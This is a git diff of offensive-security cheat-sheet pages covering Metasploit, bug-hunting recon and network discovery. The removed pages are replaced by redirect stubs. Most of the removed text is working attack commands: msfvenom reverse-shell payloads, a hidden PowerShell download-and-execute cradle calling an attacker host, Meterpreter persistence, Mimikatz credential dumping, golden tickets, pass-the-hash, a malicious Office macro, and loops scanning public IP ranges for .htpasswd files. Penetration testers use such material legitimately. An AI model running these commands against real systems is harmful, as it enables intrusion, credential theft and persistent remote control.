- [Mimikatz](https://swisskyrepo.github.io/InternalAllTheThings/command-control/metasploit/#mimikatz)
|
||||||
* [Pass the Hash - PSExec](#pass-the-hash---psexec)
|
- [Pass the Hash - PSExec](https://swisskyrepo.github.io/InternalAllTheThings/command-control/metasploit/#pass-the-hash---psexec)
|
||||||
* [Use SOCKS Proxy](#use-socks-proxy)
|
- [Use SOCKS Proxy](https://swisskyrepo.github.io/InternalAllTheThings/command-control/metasploit/#use-socks-proxy)
|
||||||
* [Scripting Metasploit](#scripting-metasploit)
|
- [Scripting Metasploit](https://swisskyrepo.github.io/InternalAllTheThings/command-control/metasploit/#scripting-metasploit)
|
||||||
* [Multiple transports](#multiple-transports)
|
- [Multiple transports](https://swisskyrepo.github.io/InternalAllTheThings/command-control/metasploit/#multiple-transports)
|
||||||
* [Best of - Exploits](#best-of---exploits)
|
- [Best of - Exploits](https://swisskyrepo.github.io/InternalAllTheThings/command-control/metasploit/#best-of---exploits)
|
||||||
* [References](#references)
|
- [References](https://swisskyrepo.github.io/InternalAllTheThings/command-control/metasploit/#references)
|
||||||
|
|
||||||
## Installation
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && chmod 755 msfinstall && ./msfinstall
|
|
||||||
```
|
|
||||||
|
|
||||||
or docker
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
sudo docker run --rm -it -p 443:443 -v ~/.msf4:/root/.msf4 -v /tmp/msf:/tmp/data remnux/metasploit
|
|
||||||
```
|
|
||||||
|
|
||||||
## Sessions
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
CTRL+Z -> Session in Background
|
|
||||||
sessions -> List sessions
|
|
||||||
sessions -i session_number -> Interact with Session with id
|
|
||||||
sessions -u session_number -> Upgrade session to a meterpreter
|
|
||||||
sessions -u session_number LPORT=4444 PAYLOAD_OVERRIDE=meterpreter/reverse_tcp HANDLER=false-> Upgrade session to a meterpreter
|
|
||||||
|
|
||||||
sessions -c cmd -> Execute a command on several sessions
|
|
||||||
sessions -i 10-20 -c "id" -> Execute a command on several sessions
|
|
||||||
```
|
|
||||||
|
|
||||||
## Background handler
|
|
||||||
|
|
||||||
ExitOnSession : the handler will not exit if the meterpreter dies.
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
screen -dRR
|
|
||||||
sudo msfconsole
|
|
||||||
|
|
||||||
use exploit/multi/handler
|
|
||||||
set PAYLOAD generic/shell_reverse_tcp
|
|
||||||
set LHOST 0.0.0.0
|
|
||||||
set LPORT 4444
|
|
||||||
set ExitOnSession false
|
|
||||||
|
|
||||||
generate -o /tmp/meterpreter.exe -f exe
|
|
||||||
to_handler
|
|
||||||
|
|
||||||
[ctrl+a] + [d]
|
|
||||||
```
|
|
||||||
|
|
||||||
## Meterpreter - Basic
|
|
||||||
|
|
||||||
### Generate a meterpreter
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
$ msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST="10.10.10.110" LPORT=4242 -f elf > shell.elf
|
|
||||||
$ msfvenom -p windows/meterpreter/reverse_tcp LHOST="10.10.10.110" LPORT=4242 -f exe > shell.exe
|
|
||||||
$ msfvenom -p osx/x86/shell_reverse_tcp LHOST="10.10.10.110" LPORT=4242 -f macho > shell.macho
|
|
||||||
$ msfvenom -p php/meterpreter_reverse_tcp LHOST="10.10.10.110" LPORT=4242 -f raw > shell.php; cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php
|
|
||||||
$ msfvenom -p windows/meterpreter/reverse_tcp LHOST="10.10.10.110" LPORT=4242 -f asp > shell.asp
|
|
||||||
$ msfvenom -p java/jsp_shell_reverse_tcp LHOST="10.10.10.110" LPORT=4242 -f raw > shell.jsp
|
|
||||||
$ msfvenom -p java/jsp_shell_reverse_tcp LHOST="10.10.10.110" LPORT=4242 -f war > shell.war
|
|
||||||
$ msfvenom -p cmd/unix/reverse_python LHOST="10.10.10.110" LPORT=4242 -f raw > shell.py
|
|
||||||
$ msfvenom -p cmd/unix/reverse_bash LHOST="10.10.10.110" LPORT=4242 -f raw > shell.sh
|
|
||||||
$ msfvenom -p cmd/unix/reverse_perl LHOST="10.10.10.110" LPORT=4242 -f raw > shell.pl
|
|
||||||
```
|
|
||||||
|
|
||||||
### Meterpreter Webdelivery
|
|
||||||
|
|
||||||
Set up a Powershell web delivery listening on port 8080.
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
use exploit/multi/script/web_delivery
|
|
||||||
set TARGET 2
|
|
||||||
set payload windows/x64/meterpreter/reverse_http
|
|
||||||
set LHOST 10.0.0.1
|
|
||||||
set LPORT 4444
|
|
||||||
run
|
|
||||||
```
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
powershell.exe -nop -w hidden -c $g=new-object net.webclient;$g.proxy=[Net.WebRequest]::GetSystemWebProxy();$g.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $g.downloadstring('http://10.0.0.1:8080/rYDPPB');
|
|
||||||
```
|
|
||||||
|
|
||||||
|
|
||||||
### Get System
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
meterpreter > getsystem
|
|
||||||
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
|
|
||||||
|
|
||||||
meterpreter > getuid
|
|
||||||
Server username: NT AUTHORITY\SYSTEM
|
|
||||||
```
|
|
||||||
|
|
||||||
### Persistence Startup
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
OPTIONS:
|
|
||||||
|
|
||||||
-A Automatically start a matching exploit/multi/handler to connect to the agent
|
|
||||||
-L <opt> Location in target host to write payload to, if none %TEMP% will be used.
|
|
||||||
-P <opt> Payload to use, default is windows/meterpreter/reverse_tcp.
|
|
||||||
-S Automatically start the agent on boot as a service (with SYSTEM privileges)
|
|
||||||
-T <opt> Alternate executable template to use
|
|
||||||
-U Automatically start the agent when the User logs on
|
|
||||||
-X Automatically start the agent when the system boots
|
|
||||||
-h This help menu
|
|
||||||
-i <opt> The interval in seconds between each connection attempt
|
|
||||||
-p <opt> The port on which the system running Metasploit is listening
|
|
||||||
-r <opt> The IP of the system running Metasploit listening for the connect back
|
|
||||||
|
|
||||||
meterpreter > run persistence -U -p 4242
|
|
||||||
```
|
|
||||||
|
|
||||||
### Network Monitoring
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
# list interfaces
|
|
||||||
run packetrecorder -li
|
|
||||||
|
|
||||||
# record interface n°1
|
|
||||||
run packetrecorder -i 1
|
|
||||||
```
|
|
||||||
|
|
||||||
### Portforward
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
portfwd add -l 7777 -r 172.17.0.2 -p 3006
|
|
||||||
```
|
|
||||||
|
|
||||||
### Upload / Download
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
upload /path/in/hdd/payload.exe exploit.exe
|
|
||||||
download /path/in/victim
|
|
||||||
```
|
|
||||||
|
|
||||||
### Execute from Memory
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
execute -H -i -c -m -d calc.exe -f /root/wce.exe -a -w
|
|
||||||
```
|
|
||||||
|
|
||||||
### Mimikatz
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
load mimikatz
|
|
||||||
mimikatz_command -f version
|
|
||||||
mimikatz_command -f samdump::hashes
|
|
||||||
mimikatz_command -f sekurlsa::wdigest
|
|
||||||
mimikatz_command -f sekurlsa::searchPasswords
|
|
||||||
mimikatz_command -f sekurlsa::logonPasswords full
|
|
||||||
```
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
load kiwi
|
|
||||||
creds_all
|
|
||||||
golden_ticket_create -d <domainname> -k <nthashof krbtgt> -s <SID without le RID> -u <user_for_the_ticket> -t <location_to_store_tck>
|
|
||||||
```
|
|
||||||
|
|
||||||
### Pass the Hash - PSExec
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
msf > use exploit/windows/smb/psexec
|
|
||||||
msf exploit(psexec) > set payload windows/meterpreter/reverse_tcp
|
|
||||||
msf exploit(psexec) > exploit
|
|
||||||
SMBDomain WORKGROUP no The Windows domain to use for authentication
|
|
||||||
SMBPass 598ddce2660d3193aad3b435b51404ee:2d20d252a479f485cdf5e171d93985bf no The password for the specified username
|
|
||||||
SMBUser Lambda no The username to authenticate as
|
|
||||||
```
|
|
||||||
|
|
||||||
### Use SOCKS Proxy
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
setg Proxies socks4:127.0.0.1:1080
|
|
||||||
```
|
|
||||||
|
|
||||||
## Scripting Metasploit
|
|
||||||
|
|
||||||
Using a `.rc file`, write the commands to execute, then run `msfconsole -r ./file.rc`.
|
|
||||||
Here is a simple example to script the deployment of a handler an create an Office doc with macro.
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
use exploit/multi/handler
|
|
||||||
set PAYLOAD windows/meterpreter/reverse_https
|
|
||||||
set LHOST 0.0.0.0
|
|
||||||
set LPORT 4646
|
|
||||||
set ExitOnSession false
|
|
||||||
exploit -j -z
|
|
||||||
|
|
||||||
|
|
||||||
use exploit/multi/fileformat/office_word_macro
|
|
||||||
set PAYLOAD windows/meterpreter/reverse_https
|
|
||||||
set LHOST 10.10.14.22
|
|
||||||
set LPORT 4646
|
|
||||||
exploit
|
|
||||||
```
|
|
||||||
|
|
||||||
## Multiple transports
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
msfvenom -p windows/meterpreter_reverse_tcp lhost=<host> lport=<port> sessionretrytotal=30 sessionretrywait=10 extensions=stdapi,priv,powershell extinit=powershell,/home/ionize/AddTransports.ps1 -f exe
|
|
||||||
```
|
|
||||||
|
|
||||||
Then, in AddTransports.ps1
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
Add-TcpTransport -lhost <host> -lport <port> -RetryWait 10 -RetryTotal 30
|
|
||||||
Add-WebTransport -Url http(s)://<host>:<port>/<luri> -RetryWait 10 -RetryTotal 30
|
|
||||||
```
|
|
||||||
|
|
||||||
## Best of - Exploits
|
|
||||||
|
|
||||||
* MS17-10 Eternal Blue - `exploit/windows/smb/ms17_010_eternalblue`
|
|
||||||
* MS08_67 - `exploit/windows/smb/ms08_067_netapi`
|
|
||||||
|
|
||||||
## References
|
|
||||||
|
|
||||||
* [Multiple transports in a meterpreter payload - ionize](https://ionize.com.au/multiple-transports-in-a-meterpreter-payload/)
|
|
||||||
* [Creating Metasploit Payloads - Peleus](https://netsec.ws/?p=331)
|
|
||||||
@@ -1,212 +1,17 @@
|
|||||||
# Bug Hunting Methodology and Enumeration
|
# Bug Hunting Methodology and Enumeration
|
||||||
|
|
||||||
|
:warning: Content of this page has been moved to [InternalAllTheThings/methodology/bug-hunting-methodology](https://swisskyrepo.github.io/InternalAllTheThings/methodology/bug-hunting-methodology/)
|
||||||
|
|
||||||
## Summary
|
## Summary
|
||||||
|
|
||||||
* [Passive Recon](#passive-recon)
|
- [Passive Recon](https://swisskyrepo.github.io/InternalAllTheThings/methodology/bug-hunting-methodology/#passive-recon)
|
||||||
* Shodan
|
- Shodan
|
||||||
* Wayback Machine
|
- Wayback Machine
|
||||||
* The Harvester
|
- The Harvester
|
||||||
|
- Github OSINT
|
||||||
|
|
||||||
* [Active Recon](#active-recon)
|
- [Active Recon](https://swisskyrepo.github.io/InternalAllTheThings/methodology/bug-hunting-methodology/#active-recon)
|
||||||
* Network discovery
|
- [Network discovery](https://swisskyrepo.github.io/InternalAllTheThings/methodology/bug-hunting-methodology/#network-discovery)
|
||||||
* RPCClient
|
- [Web discovery](https://swisskyrepo.github.io/InternalAllTheThings/methodology/bug-hunting-methodology/#web-discovery)
|
||||||
* Enum4all
|
|
||||||
|
|
||||||
* [List all the subdirectories and files](#list-all-the-subdirectories-and-files)
|
- [Web Vulnerabilities](https://swisskyrepo.github.io/InternalAllTheThings/methodology/bug-hunting-methodology/#looking-for-web-vulnerabilities)
|
||||||
* Gobuster
|
|
||||||
* Backup File Artifacts Checker
|
|
||||||
|
|
||||||
* [Web Vulnerabilities](#looking-for-web-vulnerabilities)
|
|
||||||
* Repository Github
|
|
||||||
* Burp
|
|
||||||
* Web Checklist
|
|
||||||
* Nikto
|
|
||||||
* Payment functionality
|
|
||||||
|
|
||||||
## Passive recon
|
|
||||||
|
|
||||||
* Using Shodan (https://www.shodan.io/) to detect similar app
|
|
||||||
|
|
||||||
```bash
|
|
||||||
can be integrated with nmap (https://github.com/glennzw/shodan-hq-nse)
|
|
||||||
nmap --script shodan-hq.nse --script-args 'apikey=<yourShodanAPIKey>,target=<hackme>'
|
|
||||||
```
|
|
||||||
|
|
||||||
* Using The Wayback Machine (https://archive.org/web/) to detect forgotten endpoints
|
|
||||||
|
|
||||||
```bash
|
|
||||||
look for JS files, old links
|
|
||||||
curl -sX GET "http://web.archive.org/cdx/search/cdx?url=<targetDomain.com>&output=text&fl=original&collapse=urlkey&matchType=prefix"
|
|
||||||
```
|
|
||||||
|
|
||||||
* Using The Harvester (https://github.com/laramies/theHarvester)
|
|
||||||
|
|
||||||
```python
|
|
||||||
python theHarvester.py -b all -d domain.com
|
|
||||||
```
|
|
||||||
|
|
||||||
## Active recon
|
|
||||||
|
|
||||||
* [Network discovery](Network%20Discovery.md) with masscan, nmap etc.
|
|
||||||
|
|
||||||
* rpcclient
|
|
||||||
|
|
||||||
```bash
|
|
||||||
$ rpcclient -U '%' [target host]
|
|
||||||
rpcclient $> querydominfo
|
|
||||||
Domain: WORKGROUP
|
|
||||||
Server: METASPLOITABLE
|
|
||||||
Comment: metasploitable server (Samba 3.0.20-Debian)
|
|
||||||
Total Users: 35
|
|
||||||
|
|
||||||
rpcclient $> enumdomusers
|
|
||||||
user:[games] rid:[0x3f2]
|
|
||||||
user:[nobody] rid:[0x1f5]
|
|
||||||
user:[bind] rid:[0x4ba]
|
|
||||||
```
|
|
||||||
|
|
||||||
* enum4linux
|
|
||||||
|
|
||||||
```bash
|
|
||||||
enum4linux v0.8.9 (http://labs.portcullis.co.uk/application/enum4linux/)
|
|
||||||
Usage: ./enum4linux.pl [options] ip
|
|
||||||
-U get userlist
|
|
||||||
-M get machine list*
|
|
||||||
-S get sharelist
|
|
||||||
-P get password policy information
|
|
||||||
-G get group and member list
|
|
||||||
-d be detailed, applies to -U and -S
|
|
||||||
-u user specify username to use (default “”)
|
|
||||||
-p pass specify password to use (default “”
|
|
||||||
-a Do all simple enumeration (-U -S -G -P -r -o -n -i).
|
|
||||||
-o Get OS information
|
|
||||||
-i Get printer information
|
|
||||||
==============================
|
|
||||||
| Users on XXX.XXX.XXX.XXX |
|
|
||||||
==============================
|
|
||||||
index: 0x1 Account: games Name: games Desc: (null)
|
|
||||||
index: 0x2 Account: nobody Name: nobody Desc: (null)
|
|
||||||
index: 0x3 Account: bind Name: (null) Desc: (null)
|
|
||||||
index: 0x4 Account: proxy Name: proxy Desc: (null)
|
|
||||||
index: 0x5 Account: syslog Name: (null) Desc: (null)
|
|
||||||
index: 0x6 Account: user Name: just a user,111,, Desc: (null)
|
|
||||||
index: 0x7 Account: www-data Name: www-data Desc: (null)
|
|
||||||
index: 0x8 Account: root Name: root Desc: (null)
|
|
||||||
```
|
|
||||||
|
|
||||||
* Zone Transfer
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
host -t ns domain.local
|
|
||||||
domain.local name server master.domain.local.
|
|
||||||
|
|
||||||
host master.domain.local
|
|
||||||
master.domain.local has address 192.168.1.1
|
|
||||||
|
|
||||||
dig axfr domain.local @192.168.1.1
|
|
||||||
```
|
|
||||||
|
|
||||||
## List all the subdirectories and files
|
|
||||||
|
|
||||||
* Using BFAC (Backup File Artifacts Checker): An automated tool that checks for backup artifacts that may disclose the web-application's source code.
|
|
||||||
|
|
||||||
```bash
|
|
||||||
git clone https://github.com/mazen160/bfac
|
|
||||||
|
|
||||||
Check a single URL
|
|
||||||
bfac --url http://example.com/test.php --level 4
|
|
||||||
|
|
||||||
Check a list of URLs
|
|
||||||
bfac --list testing_list.txt
|
|
||||||
```
|
|
||||||
|
|
||||||
* Using DirBuster or GoBuster
|
|
||||||
|
|
||||||
```bash
|
|
||||||
./gobuster -u http://buffered.io/ -w words.txt -t 10
|
|
||||||
-u url
|
|
||||||
-w wordlist
|
|
||||||
-t threads
|
|
||||||
|
|
||||||
More subdomain :
|
|
||||||
./gobuster -m dns -w subdomains.txt -u google.com -i
|
|
||||||
|
|
||||||
gobuster -w wordlist -u URL -r -e
|
|
||||||
```
|
|
||||||
|
|
||||||
* Using a script to detect all phpinfo.php files in a range of IPs (CIDR can be found with a whois)
|
|
||||||
|
|
||||||
```bash
|
|
||||||
#!/bin/bash
|
|
||||||
for ipa in 98.13{6..9}.{0..255}.{0..255}; do
|
|
||||||
wget -t 1 -T 3 http://${ipa}/phpinfo.php; done &
|
|
||||||
```
|
|
||||||
|
|
||||||
* Using a script to detect all .htpasswd files in a range of IPs
|
|
||||||
|
|
||||||
```bash
|
|
||||||
#!/bin/bash
|
|
||||||
for ipa in 98.13{6..9}.{0..255}.{0..255}; do
|
|
||||||
wget -t 1 -T 3 http://${ipa}/.htpasswd; done &
|
|
||||||
```
|
|
||||||
|
|
||||||
## Looking for Web vulnerabilities
|
|
||||||
|
|
||||||
* Look for private information in GitHub repos with GitRob
|
|
||||||
|
|
||||||
```bash
|
|
||||||
git clone https://github.com/michenriksen/gitrob.git
|
|
||||||
gitrob analyze johndoe --site=https://github.acme.com --endpoint=https://github.acme.com/api/v3 --access-tokens=token1,token2
|
|
||||||
```
|
|
||||||
|
|
||||||
* Explore the website with a proxy (ZAP/Burp Suite)
|
|
||||||
1. Start proxy, visit the main target site and perform a Forced Browse to discover files and directories
|
|
||||||
2. Map technologies used with Wappalyzer and Burp Suite (or ZAP) proxy
|
|
||||||
3. Explore and understand available functionality, noting areas that correspond to vulnerability types
|
|
||||||
|
|
||||||
```bash
|
|
||||||
Burp Proxy configuration on port 8080 (in .bashrc):
|
|
||||||
alias set_proxy_burp='gsettings set org.gnome.system.proxy.http host "http://localhost";gsettings set org.gnome.system.proxy.http port 8080;gsettings set org.gnome.system.proxy mode "manual"'
|
|
||||||
alias set_proxy_normal='gsettings set org.gnome.system.proxy mode "none"'
|
|
||||||
|
|
||||||
then launch Burp with : java -jar burpsuite_free_v*.jar &
|
|
||||||
```
|
|
||||||
|
|
||||||
* [WAHH Task Checklist](https://gist.github.com/gbedoya/10935137) copied from http://mdsec.net/wahh/tasks.html
|
|
||||||
|
|
||||||
* Subscribe to the site and pay for the additional functionality to test
|
|
||||||
|
|
||||||
* Launch a Nikto scan in case you missed something
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
nikto -h http://domain.example.com
|
|
||||||
```
|
|
||||||
|
|
||||||
* Payment functionality - [@gwendallecoguic](https://twitter.com/gwendallecoguic/status/988138794686779392)
|
|
||||||
> if the webapp you're testing uses an external payment gateway, check the doc to find the test credit numbers, purchase something and if the webapp didn't disable the test mode, it will be free
|
|
||||||
|
|
||||||
From https://stripe.com/docs/testing#cards : "Use any of the following test card numbers, a valid expiration date in the future, and any random CVC number, to create a successful payment. Each test card's billing country is set to U.S. "
|
|
||||||
e.g :
|
|
||||||
|
|
||||||
Test card numbers and tokens
|
|
||||||
|
|
||||||
| NUMBER | BRAND | TOKEN |
|
|
||||||
| :------------- | :------------- | :------------- |
|
|
||||||
| 4242424242424242 | Visa | tok_visa |
|
|
||||||
| 4000056655665556 | Visa (debit) | tok_visa_debit |
|
|
||||||
| 5555555555554444 | Mastercard | tok_mastercard |
|
|
||||||
|
|
||||||
International test card numbers and tokens
|
|
||||||
|
|
||||||
| NUMBER | TOKEN | COUNTRY | BRAND |
|
|
||||||
| :------------- | :------------- | :------------- | :------------- |
|
|
||||||
| 4000000400000008 | tok_at | Austria (AT) | Visa |
|
|
||||||
| 4000000560000004 | tok_be | Belgium (BE) | Visa |
|
|
||||||
| 4000002080000001 | tok_dk | Denmark (DK) | Visa |
|
|
||||||
| 4000002460000001 | tok_fi | Finland (FI) | Visa |
|
|
||||||
| 4000002500000003 | tok_fr | France (FR) | Visa |
|
|
||||||
|
|
||||||
## References
|
|
||||||
|
|
||||||
* [[BugBounty] Yahoo phpinfo.php disclosure - Patrik Fehrenbach](http://blog.it-securityguard.com/bugbounty-yahoo-phpinfo-php-disclosure-2/)
|
|
||||||
* [Nmap CheatSheet - HackerTarget](https://hackertarget.com/nmap-cheatsheet-a-quick-reference-guide/)
|
|
||||||
@@ -1,27 +0,0 @@
|
|||||||
# Miscellaneous & Tricks
|
|
||||||
|
|
||||||
All the tricks that couldn't be classified somewhere else.
|
|
||||||
|
|
||||||
## Send a message to another user
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
# Windows
|
|
||||||
PS C:\> msg Swissky /SERVER:CRASHLAB "Stop rebooting the XXXX service !"
|
|
||||||
PS C:\> msg * /V /W /SERVER:CRASHLAB "Hello all !"
|
|
||||||
|
|
||||||
# Linux
|
|
||||||
$ wall "Stop messing with the XXX service !"
|
|
||||||
$ wall -n "System will go down for 2 hours maintenance at 13:00 PM" # "-n" only for root
|
|
||||||
$ who
|
|
||||||
$ write root pts/2 # press Ctrl+D after typing the message.
|
|
||||||
```
|
|
||||||
|
|
||||||
## CrackMapExec Credential Database
|
|
||||||
|
|
||||||
```ps1
|
|
||||||
cmedb (default) > workspace create test
|
|
||||||
cmedb (test) > workspace default
|
|
||||||
cmedb (test) > proto smb
|
|
||||||
cmedb (test)(smb) > creds
|
|
||||||
cmedb (test)(smb) > export creds csv /tmp/creds
|
|
||||||
```
|
|
||||||
@@ -1,201 +1,14 @@
|
|||||||
# Network Discovery
|
# Network Discovery
|
||||||
|
|
||||||
## Summary
|
:warning: Content of this page has been moved to [InternalAllTheThings/cheatsheets/network-discovery](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/network-discovery/)
|
||||||
|
|
||||||
- [Nmap](#nmap)
|
- [Nmap](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/network-discovery/#nmap)
|
||||||
- [Spyse](#spyse)
|
- [Network Scan with nc and ping](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/network-discovery/#network-scan-with-nc-and-ping)
|
||||||
- [Masscan](#masscan)
|
- [Spyse](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/network-discovery/#spyse)
|
||||||
- [Netdiscover](#netdiscover)
|
- [Masscan](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/network-discovery/#masscan)
|
||||||
- [Responder](#responder)
|
- [Netdiscover](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/network-discovery/#netdiscover)
|
||||||
- [Bettercap](#bettercap)
|
- [Responder](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/network-discovery/#responder)
|
||||||
- [Reconnoitre](#reconnoitre)
|
- [Bettercap](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/network-discovery/#bettercap)
|
||||||
- [References](#references)
|
- [Reconnoitre](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/network-discovery/#reconnoitre)
|
||||||
|
- [SSL MITM with OpenSSL](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/network-discovery/#ssl-mitm-with-openssl)
|
||||||
## Nmap
|
- [References](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/network-discovery/#references)
|
||||||
|
|
||||||
* Ping sweep (No port scan, No DNS resolution)
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
nmap -sn -n --disable-arp-ping 192.168.1.1-254 | grep -v "host down"
|
|
||||||
-sn : Disable port scanning. Host discovery only.
|
|
||||||
-n : Never do DNS resolution
|
|
||||||
```
|
|
||||||
|
|
||||||
* Basic NMAP
|
|
||||||
|
|
||||||
```bash
|
|
||||||
sudo nmap -sSV -p- 192.168.0.1 -oA OUTPUTFILE -T4
|
|
||||||
sudo nmap -sSV -oA OUTPUTFILE -T4 -iL INPUTFILE.csv
|
|
||||||
|
|
||||||
• the flag -sSV defines the type of packet to send to the server and tells Nmap to try and determine any service on open ports
|
|
||||||
• the -p- tells Nmap to check all 65,535 ports (by default it will only check the most popular 1,000)
|
|
||||||
• 192.168.0.1 is the IP address to scan
|
|
||||||
• -oA OUTPUTFILE tells Nmap to output the findings in its three major formats at once using the filename "OUTPUTFILE"
|
|
||||||
• -iL INPUTFILE tells Nmap to use the provided file as inputs
|
|
||||||
```
|
|
||||||
|
|
||||||
* CTF NMAP
|
|
||||||
|
|
||||||
This configuration is enough to do a basic check for a CTF VM
|
|
||||||
|
|
||||||
```bash
|
|
||||||
nmap -sV -sC -oA ~/nmap-initial 192.168.1.1
|
|
||||||
|
|
||||||
-sV : Probe open ports to determine service/version info
|
|
||||||
-sC : to enable the script
|
|
||||||
-oA : to save the results
|
|
||||||
|
|
||||||
After this quick command you can add "-p-" to run a full scan while you work with the previous result
|
|
||||||
```
|
|
||||||
|
|
||||||
* Aggressive NMAP
|
|
||||||
|
|
||||||
```bash
|
|
||||||
nmap -A -T4 scanme.nmap.org
|
|
||||||
• -A: Enable OS detection, version detection, script scanning, and traceroute
|
|
||||||
• -T4: Defines the timing for the task (options are 0-5 and higher is faster)
|
|
||||||
```
|
|
||||||
|
|
||||||
* Using searchsploit to detect vulnerable services
|
|
||||||
|
|
||||||
```bash
|
|
||||||
nmap -p- -sV -oX a.xml IP_ADDRESS; searchsploit --nmap a.xml
|
|
||||||
```
|
|
||||||
|
|
||||||
* Generating nice scan report
|
|
||||||
|
|
||||||
```bash
|
|
||||||
nmap -sV IP_ADDRESS -oX scan.xml && xsltproc scan.xml -o "`date +%m%d%y`_report.html"
|
|
||||||
```
|
|
||||||
|
|
||||||
* NMAP Scripts
|
|
||||||
|
|
||||||
```bash
|
|
||||||
nmap -sC : equivalent to --script=default
|
|
||||||
|
|
||||||
nmap --script 'http-enum' -v web.xxxx.com -p80 -oN http-enum.nmap
|
|
||||||
PORT STATE SERVICE
|
|
||||||
80/tcp open http
|
|
||||||
| http-enum:
|
|
||||||
| /phpmyadmin/: phpMyAdmin
|
|
||||||
| /.git/HEAD: Git folder
|
|
||||||
| /css/: Potentially interesting directory w/ listing on 'apache/2.4.10 (debian)'
|
|
||||||
|_ /image/: Potentially interesting directory w/ listing on 'apache/2.4.10 (debian)'
|
|
||||||
|
|
||||||
nmap --script smb-enum-users.nse -p 445 [target host]
|
|
||||||
Host script results:
|
|
||||||
| smb-enum-users:
|
|
||||||
| METASPLOITABLE\backup (RID: 1068)
|
|
||||||
| Full name: backup
|
|
||||||
| Flags: Account disabled, Normal user account
|
|
||||||
| METASPLOITABLE\bin (RID: 1004)
|
|
||||||
| Full name: bin
|
|
||||||
| Flags: Account disabled, Normal user account
|
|
||||||
| METASPLOITABLE\msfadmin (RID: 3000)
|
|
||||||
| Full name: msfadmin,,,
|
|
||||||
| Flags: Normal user account
|
|
||||||
|
|
||||||
List Nmap scripts : ls /usr/share/nmap/scripts/
|
|
||||||
```
|
|
||||||
|
|
||||||
## Spyse
|
|
||||||
* Spyse API - for detailed info is better to check [Spyse](https://spyse.com/)
|
|
||||||
|
|
||||||
* [Spyse Wrapper](https://github.com/zeropwn/spyse.py)
|
|
||||||
|
|
||||||
#### Searching for subdomains
|
|
||||||
```bash
|
|
||||||
spyse -target xbox.com --subdomains
|
|
||||||
```
|
|
||||||
|
|
||||||
#### Reverse IP Lookup
|
|
||||||
```bash
|
|
||||||
spyse -target 52.14.144.171 --domains-on-ip
|
|
||||||
```
|
|
||||||
|
|
||||||
#### Searching for SSL certificates
|
|
||||||
```bash
|
|
||||||
spyse -target hotmail.com --ssl-certificates
|
|
||||||
```
|
|
||||||
```bash
|
|
||||||
spyse -target "org: Microsoft" --ssl-certificates
|
|
||||||
```
|
|
||||||
#### Getting all DNS records
|
|
||||||
```bash
|
|
||||||
spyse -target xbox.com --dns-all
|
|
||||||
```
|
|
||||||
|
|
||||||
## Masscan
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
masscan -iL ips-online.txt --rate 10000 -p1-65535 --only-open -oL masscan.out
|
|
||||||
masscan -e tun0 -p1-65535,U:1-65535 10.10.10.97 --rate 1000
|
|
||||||
|
|
||||||
# find machines on the network
|
|
||||||
sudo masscan --rate 500 --interface tap0 --router-ip $ROUTER_IP --top-ports 100 $NETWORK -oL masscan_machines.tmp
|
|
||||||
cat masscan_machines.tmp | grep open | cut -d " " -f4 | sort -u > masscan_machines.lst
|
|
||||||
|
|
||||||
# find open ports for one machine
|
|
||||||
sudo masscan --rate 1000 --interface tap0 --router-ip $ROUTER_IP -p1-65535,U:1-65535 $MACHINE_IP --banners -oL $MACHINE_IP/scans/masscan-ports.lst
|
|
||||||
|
|
||||||
|
|
||||||
# TCP grab banners and services information
|
|
||||||
TCP_PORTS=$(cat $MACHINE_IP/scans/masscan-ports.lst| grep open | grep tcp | cut -d " " -f3 | tr '\n' ',' | head -c -1)
|
|
||||||
[ "$TCP_PORTS" ] && sudo nmap -sT -sC -sV -v -Pn -n -T4 -p$TCP_PORTS --reason --version-intensity=5 -oA $MACHINE_IP/scans/nmap_tcp $MACHINE_IP
|
|
||||||
|
|
||||||
# UDP grab banners and services information
|
|
||||||
UDP_PORTS=$(cat $MACHINE_IP/scans/masscan-ports.lst| grep open | grep udp | cut -d " " -f3 | tr '\n' ',' | head -c -1)
|
|
||||||
[ "$UDP_PORTS" ] && sudo nmap -sU -sC -sV -v -Pn -n -T4 -p$UDP_PORTS --reason --version-intensity=5 -oA $MACHINE_IP/scans/nmap_udp $MACHINE_IP
|
|
||||||
```
|
|
||||||
|
|
||||||
## Reconnoitre
|
|
||||||
|
|
||||||
Dependencies:
|
|
||||||
|
|
||||||
* nbtscan
|
|
||||||
* nmap
|
|
